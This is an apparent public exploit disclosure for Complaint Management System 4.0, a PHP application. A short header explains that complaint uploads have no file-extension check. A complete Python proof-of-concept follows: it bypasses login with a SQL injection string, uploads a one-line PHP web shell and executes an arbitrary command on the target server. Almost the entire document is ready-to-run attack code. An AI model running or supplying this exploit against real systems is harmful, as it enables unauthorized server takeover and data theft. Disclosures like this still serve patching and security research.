Complaint Management System 4.0 - Remote Code Execution

# Exploit Title: Complaint Management System 4.0 - Remote Code Execution
# Exploit Author: Metin Yunus Kandemir
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/complaint-management-sytem/
# Version: v4.0
# Description:
# There isn't any file extension control at the "Register Complaint" section of user panel.
# An unauthorized user can upload and execute php file.
# Below basic python script will bypass authentication and execute command on target server.

poc.py

#!/usr/bin/python

import requests
import sys


if len(sys.argv) !=3:
    print "[*] Usage: PoC.py rhost/rpath command"
    print "[*] e.g.: PoC.py 127.0.0.1/cms ipconfig"
    exit(0)

rhost = sys.argv[1]
command = sys.argv[2]

#authentication bypass
url = "http://"+rhost+"/users/index.php"
data = {"username": "joke' or '1'='1'#", "password": "joke' or '1'='1'#", "submit": ""}

with requests.Session() as session:

    login = session.post(url, data=data, headers = {"Content-Type": "application/x-www-form-urlencoded"})


    #check authentication bypass
    check = session.get("http://"+rhost+"/users/dashboard.php", allow_redirects=False)
    print ("[*] Status code for login: %s"%check.status_code)
    if check.status_code == 200:
        print ("[+] Authentication bypass was successfull")
    else:
        print ("[-] Authentication bypass was unsuccessful")
        sys.exit()

    #upload php file
    ufile = {'compfile':('command.php', '<?php system($_GET["cmd"]); ?>')}
    fdata = {"category": "1", "subcategory": "Online Shopping", "complaintype": " Complaint", "state": "Punjab", "noc": "the end", "complaindetails": "the end","compfile": "commmand.php", "submit": ""}
    furl = "http://"+rhost+"/users/register-complaint.php"
    fupload = session.post(url=furl, files= ufile, data=fdata)

    #execution
    final=session.get("http://"+rhost+"/users/complaintdocs/command.php?cmd="+command)

    if final.status_code == 200:
        print "[+] Command execution completed successfully.\n"
        print "\tPut on a happy face.\n"
    else:
        print "[-] Command execution was unsuccessful."
        print "\tOne bad day!"
        sys.exit()

    print final.text